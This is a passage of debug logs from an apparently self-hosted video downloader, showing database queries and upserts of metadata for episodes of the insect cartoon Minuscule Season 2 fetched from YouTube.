s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [5] 22:12:46.901 [debug] QUERY OK source="sources" db=0.4ms queue=0.1ms idle=729.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:12:46.903 [debug] QUERY OK source="media_items" db=1.1ms idle=730.7ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2020-06-30 14:30:01Z], 5] 22:12:46.906 [debug] QUERY OK source="media_items" db=2.1ms idle=732.5ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["ABONNEZ-VOUS ICI / SUBSCRIBE HERE : http://bit.ly/1cPzvQP \n\n---\nThe official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary !\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l’impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d’insectes en images de synthèse.\n\nFacebook : http://on.fb.me/1draLOR #Minuscule #MinusculeVideos #InsectCartoons", "Minuscule - Thievish as a magpie / Pie voleuse (Season 2)", "4ae1226d-6726-471d-8043-c0c92bbd6e84", "-XlXZUgUMV0", 294, false, 5, "https://www.youtube.com/watch?v=-XlXZUgUMV0", 88, "/downloads/Miniscule Season 2/2020-06-30 Minuscule - Thievish as a magpie ⧸ Pie voleuse (Season 2)/Minuscule - Thievish as a magpie ⧸ Pie voleuse (Season 2) [-XlXZUgUMV0].mp4", false, false, false, [], 1, ~U[2020-06-30 14:30:01Z], ~U[2025-12-12 05:12:46Z], ~U[2025-12-12 05:12:46Z], "ABONNEZ-VOUS ICI / SUBSCRIBE HERE : http://bit.ly/1cPzvQP \n\n---\nThe official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary !\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l’impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d’insectes en images de synthèse.\n\nFacebook : http://on.fb.me/1draLOR #Minuscule #MinusculeVideos #InsectCartoons", "Minuscule - Thievish as a magpie / Pie voleuse (Season 2)", "-XlXZUgUMV0", 294, false, 5, "https://www.youtube.com/watch?v=-XlXZUgUMV0", "/downloads/Miniscule Season 2/2020-06-30 Minuscule - Thievish as a magpie ⧸ Pie voleuse (Season 2)/Minuscule - Thievish as a magpie ⧸ Pie voleuse (Season 2) [-XlXZUgUMV0].mp4", false, ~U[2020-06-30 14:30:01Z]] 22:12:46.907 [debug] QUERY OK source="sources" db=0.4ms idle=660.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:12:46.908 [debug] QUERY OK source="media_profiles" db=0.3ms idle=7.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:12:46.909 [debug] QUERY OK source="media_items" db=0.5ms idle=6.8ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [89076] 22:12:46.909 [debug] Current batch of media processed. Will check again in 1000ms 22:12:47.910 [debug] Current batch of media processed. Will check again in 1000ms 22:12:48.839 [info] {"source":"oban","duration":1353,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:12:48.911 [debug] Current batch of media processed. Will check again in 1000ms 22:12:49.912 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "ABONNEZ-VOUS ICI / SUBSCRIBE HERE : http://bit.ly/1cPzvQP \n\nIn a kitchen garden, a gardener wages a merciless war against a snail's gang which, when the night comes, goes out and eats his salads.\n\n---\nThe official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary !\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l’impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d’insectes en images de synthèse.\n\nFacebook : http://on.fb.me/1draLOR #Minuscule #MinusculeVideos #InsectCartoons", "duration" => 294, "filename" => "/downloads/Miniscule Season 2/2020-06-23 Minuscule - Night of the gastropods ⧸ La nuit des gastéropodes (Season 2)/Minuscule - Night of the gastropods ⧸ La nuit des gastéropodes (Season 2) [cBDjUa2ayDw].mp4", "id" => "cBDjUa2ayDw", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=cBDjUa2ayDw", "playlist_index" => 89, "timestamp" => 1592922604, "title" => "Minuscule - Night of the gastropods / La nuit des gastéropodes (Season 2)", "upload_date" => "20200623"} 22:12:49.913 [debug] QUERY OK source="sources" db=0.5ms queue=0.1ms idle=1741.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [5] 22:12:49.914 [debug] QUERY OK source="sources" db=0.4ms queue=0.1ms idle=1742.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:12:49.916 [debug] QUERY OK source="media_items" db=1.1ms idle=1664.6ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2020-06-23 14:30:04Z], 5] 22:12:49.937 [debug] QUERY OK source="media_items" db=20.3ms queue=0.1ms idle=1077.4ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["ABONNEZ-VOUS ICI / SUBSCRIBE HERE : http://bit.ly/1cPzvQP \n\nIn a kitchen garden, a gardener wages a merciless war against a snail's gang which, when the night comes, goes out and eats his salads.\n\n---\nThe official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary !\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l’impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d’insectes en images de synthèse.\n\nFacebook : http://on.fb.me/1draLOR #Minuscule #MinusculeVideos #InsectCartoons", "Minuscule - Night of the gastropods / La nuit des gastéropodes (Season 2)", "b900a8bb-461e-4ec3-9b05-14cbdb5b76a1", "cBDjUa2ayDw", 294, false, 5, "https://www.youtube.com/watch?v=cBDjUa2ayDw", 89, "/downloads/Miniscule Season 2/2020-06-23 Minuscule - Night of the gastropods ⧸ La nuit des gastéropodes (Season 2)/Minuscule - Night of the gastropods ⧸ La nuit des gastéropodes (Season 2) [cBDjUa2ayDw].mp4", false, false, false, [], 1, ~U[2020-06-23 14:30:04Z], ~U[2025-12-12 05:12:49Z], ~U[2025-12-12 05:12:49Z], "ABONNEZ-VOUS ICI / SUBSCRIBE HERE : http://bit.ly/1cPzvQP \n\nIn a kitchen garden, a gardener wages a merciless war against a snail's gang which, when the night comes, goes out and eats his salads.\n\n---\nThe official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary !\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l’impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d’insectes en images de synthèse.\n\nFacebook : http://on.fb.me/1draLOR #Minuscule #MinusculeVideos #InsectCartoons", "Minuscule - Night of the gastropods / La nuit des gastéropodes (Season 2)", "cBDjUa2ayDw", 294, false, 5, "https://www.youtube.com/watch?v=cBDjUa2ayDw", "/downloads/Miniscule Season 2/2020-06-23 Minuscule - Night of the gastropods ⧸ La nuit des gastéropodes (Season 2)/Minuscule - Night of the gastropods ⧸ La nuit des gastéropodes (Season 2) [cBDjUa2ayDw].mp4", false, ~U[2020-06-23 14:30:04Z]] 22:12:49.938 [debug] QUERY OK source="sources" db=0.4ms idle=686.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:12:49.939 [debug] QUERY OK source="media_profiles" db=0.4ms idle=25.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:12:49.940 [debug] QUERY OK source="media_items" db=0.6ms idle=25.1ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [89077] 22:12:49.940 [debug] Current batch of media processed. Will check again in 1000ms 22:12:50.942 [debug] Current batch of media processed. Will check again in 1000ms 22:12:51.943 [debug] Current batch of media processed. Will check again in 1000ms 22:12:52.944 [debug] Current batch of media processed. Will check again in 1000ms 22:12:53.945 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "ABONNEZ-VOUS ICI / SUBSCRIBE HERE : http://bit.ly/1cPzvQP \n\nA grasshopper who's just had babies hurries to teach them the most important lesson of all: how to leap properly. But one of the babies is unable to hop and ends up an outcast.\n\n---\nThe official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary !\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l’impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d’insectes en images de synthèse.\n\nFacebook : http://on.fb.me/1draLOR #Minuscule #MinusculeVideos #InsectCartoons", "duration" => 294, "filename" => "/downloads/Miniscule Season 2/2020-06-18 Minuscule - The grasshopper who didn't ⧸ La sauterelle qui ne savait pas sauter (Season 2)/Minuscule - The grasshopper who didn't ⧸ La sauterelle qui ne savait pas sauter (Season 2) [7yponB6dwxg].mp4", "id" => "7yponB6dwxg", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=7yponB6dwxg", "playlist_index" => 90, "timestamp" => 1592490600, "title" => "Minuscule - The grasshopper who didn't / La sauterelle qui ne savait pas sauter (Season 2)", "upload_date" => "20200618"} 22:12:53.946 [debug] QUERY OK source="sources" db=0.5ms queue=0.1ms idle=774.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [5] 22:12:53.947 [debug] QUERY OK source="sources" db=0.4ms idle=776.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:12:53.949 [debug] QUERY OK source="media_items" db=0.9ms idle=776.8ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2020-06-18 14:30:00Z], 5] 22:12:53.952 [debug] QUERY OK source="media_items" db=2.2ms idle=778.3ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["ABONNEZ-VOUS ICI / SUBSCRIBE HERE : http://bit.ly/1cPzvQP \n\nA grasshopper who's just had babies hurries to teach them the most important lesson of all: how to leap properly. But one of the babies is unable to hop and ends up an outcast.\n\n---\nThe official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary !\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l’impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d’insectes en images de synthèse.\n\nFacebook : http://on.fb.me/1draLOR #Minuscule #MinusculeVideos #InsectCartoons", "Minuscule - The grasshopper who didn't / La sauterelle qui ne savait pas sauter (Season 2)", "65306780-e6f4-4991-afee-c6adbf5e6adb", "7yponB6dwxg", 294, false, 5, "https://www.youtube.com/watch?v=7yponB6dwxg", 90, "/downloads/Miniscule Season 2/2020-06-18 Minuscule - The grasshopper who didn't ⧸ La sauterelle qui ne savait pas sauter (Season 2)/Minuscule - The grasshopper who didn't ⧸ La sauterelle qui ne savait pas sauter (Season 2) [7yponB6dwxg].mp4", false, false, false, [], 1, ~U[2020-06-18 14:30:00Z], ~U[2025-12-12 05:12:53Z], ~U[2025-12-12 05:12:53Z], "ABONNEZ-VOUS ICI / SUBSCRIBE HERE : http://bit.ly/1cPzvQP \n\nA grasshopper who's just had babies hurries to teach them the most important lesson of all: how to leap properly. But one of the babies is unable to hop and ends up an outcast.\n\n---\nThe official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary !\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l’impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d’insectes en images de synthèse.\n\nFacebook : http://on.fb.me/1draLOR #Minuscule #MinusculeVideos #InsectCartoons", "Minuscule - The grasshopper who didn't / La sauterelle qui ne savait pas sauter (Season 2)", "7yponB6dwxg", 294, false, 5, "https://www.youtube.com/watch?v=7yponB6dwxg", "/downloads/Miniscule Season 2/2020-06-18 Minuscule - The grasshopper who didn't ⧸ La sauterelle qui ne savait pas sauter (Season 2)/Minuscule - The grasshopper who didn't ⧸ La sauterelle qui ne savait pas sauter (Season 2) [7yponB6dwxg].mp4", false, ~U[2020-06-18 14:30:00Z]] 22:12:53.953 [debug] QUERY OK source="sources" db=0.3ms idle=692.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:12:53.953 [debug] QUERY OK source="media_profiles" db=0.3ms queue=0.1ms idle=6.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:12:53.954 [debug] QUERY OK source="media_items" db=0.5ms idle=6.4ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [89079] 22:12:53.954 [debug] Current batch of media processed. Will check again in 1000ms 22:12:54.956 [debug] Current batch of media processed. Will check again in 1000ms 22:12:55.957 [debug] Current batch of media processed. Will check again in 1000ms 22:12:56.958 [debug] Current batch of media processed. Will check again in 1000ms 22:12:57.959 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "ABONNEZ-VOUS ICI / SUBSCRIBE HERE : http://bit.ly/1cPzvQP \n\nA spider weaves webs to catch a fly but it always gets through the threads. How will the spider finally catch the fly?\n\n---\nThe official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary !\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l’impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d’insectes en images de synthèse.\n\nFacebook : http://on.fb.me/1draLOR #Minuscule #MinusculeVideos #InsectCartoons", "duration" => 119, "filename" => "/downloads/Miniscule Season 2/2020-06-11 Minuscule - The wicked web ⧸ La toile infernale (Season 2)/Minuscule - The wicked web ⧸ La toile infernale (Season 2) [stZl27m_rAs].mp4", "id" => "stZl27m_rAs", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=stZl27m_rAs", "playlist_index" => 91, "timestamp" => 1591885810, "title" => "Minuscule - The wicked web / La toile infernale (Season 2)", "upload_date" => "20200611"} 22:12:57.960 [debug] QUERY OK source="sources" db=0.4ms idle=788.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [5] 22:12:57.961 [debug] QUERY OK source="sources" db=0.3ms idle=789.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:12:57.962 [debug] QUERY OK source="media_items" db=0.9ms idle=790.3ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2020-06-11 14:30:10Z], 5] 22:12:58.010 [debug] QUERY OK source="media_items" db=46.3ms idle=791.8ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["ABONNEZ-VOUS ICI / SUBSCRIBE HERE : http://bit.ly/1cPzvQP \n\nA spider weaves webs to catch a fly but it always gets through the threads. How will the spider finally catch the fly?\n\n---\nThe official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown 